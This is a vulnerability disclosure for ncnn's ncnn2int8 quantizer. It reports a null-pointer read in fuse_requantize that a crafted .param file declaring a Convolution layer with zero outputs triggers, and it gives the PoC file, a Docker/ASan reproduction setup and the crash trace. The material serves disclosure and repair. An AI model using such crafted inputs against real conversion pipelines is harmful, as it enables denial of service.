Out-Of-Bounds Read During Requantization

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: tools/quantize/ncnn2int8.cpp:854 in NetQuantize::fuse_requantize
Sanitizer verdict: SEGV on unknown address 0x000000000000 (pc 0x61d82cfe6d30 bp 0x7ffe7b283fb0 sp 0x7ffe7b283db0 T0)

Summary

A .param file declaring a Convolution layer with zero output blobs makes the ncnn2int8 quantization converter dereference tops[0] on an empty vector, killing the process. The entry point is the ncnn2int8 CLI, which passes argv[1] to quantizer.load_param() and then unconditionally calls fuse_requantize(). The demonstrated impact is termination of the conversion job.

Detail

Net::load_param() builds each layer's tops vector from the declared top count and accepts zero without complaint, so a layer line ending in 0 0 yields a Convolution with tops.empty() == true. NetQuantize::fuse_requantize() filters layers only by type and then reads the first top index as the very first thing it does with the layer.

// tools/quantize/ncnn2int8.cpp:848
    for (size_t i = 0; i < layer_count; i++)
    {
        if (layers[i]->type != "Convolution" && layers[i]->type != "ConvolutionDepthWise")
            continue;

        // Convolution/ConvolutionDepthWise - Convolution/ConvolutionDepthWise
        int top_blob_index = layers[i]->tops[0];

The type test is the only guard. Every other check in this loop — the bottoms.size() != 1 test at line 862, the j == layer_count bail-out at line 869 — applies to the candidate successor layer, never to layers[i] itself. There is no tops.empty() test anywhere on the path from load_param() to line 854.

The PoC is 7767517 / 1 1 / Convolution conv 0 0 0=1 1=1 6=1: one layer, one blob, a convolution with zero bottoms and zero tops whose parameters (num_output=1, kernel_w=1, weight_data_size=1) let load_model() succeed against the null weight input. std::vector<int>::operator[](0) on the empty vector dereferences the null data() pointer, which ASan reports as a read SEGV on address 0x000000000000 at line 854.

Reproduce

mkdir -p ncnn-poc-out-of-bounds-read-during-requantization && cd ncnn-poc-out-of-bounds-read-during-requantization

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'PARAM'
7767517
1 1
Convolution conv 0 0 0=1 1=1 6=1
PARAM

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/quantize/ncnn2int8 poc.param null out.param out.bin

AddressSanitizer output:

AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x586951f25d30 bp 0x7ffe712fd290 sp 0x7ffe712fd090 T0)
==1==The signal is caused by a READ memory access.
==1==Hint: address points to the zero page.
    #0 0x586951f25d30 in NetQuantize::fuse_requantize() /ncnn/tools/quantize/ncnn2int8.cpp:854
    #1 0x586951f2e1dd in main /ncnn/tools/quantize/ncnn2int8.cpp:1101
    #2 0x79ca8556a1c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #3 0x79ca8556a28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #4 0x586951e97644 in _start (/ncnn/build/tools/quantize/ncnn2int8+0x2a1644) (BuildId: a2cc9b5f8fa3acdfe93a4ac496a63a5631403673)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /ncnn/tools/quantize/ncnn2int8.cpp:854 in NetQuantize::fuse_requantize()
==1==ABORTING

Credit

Zheng Yu @ DepthFirst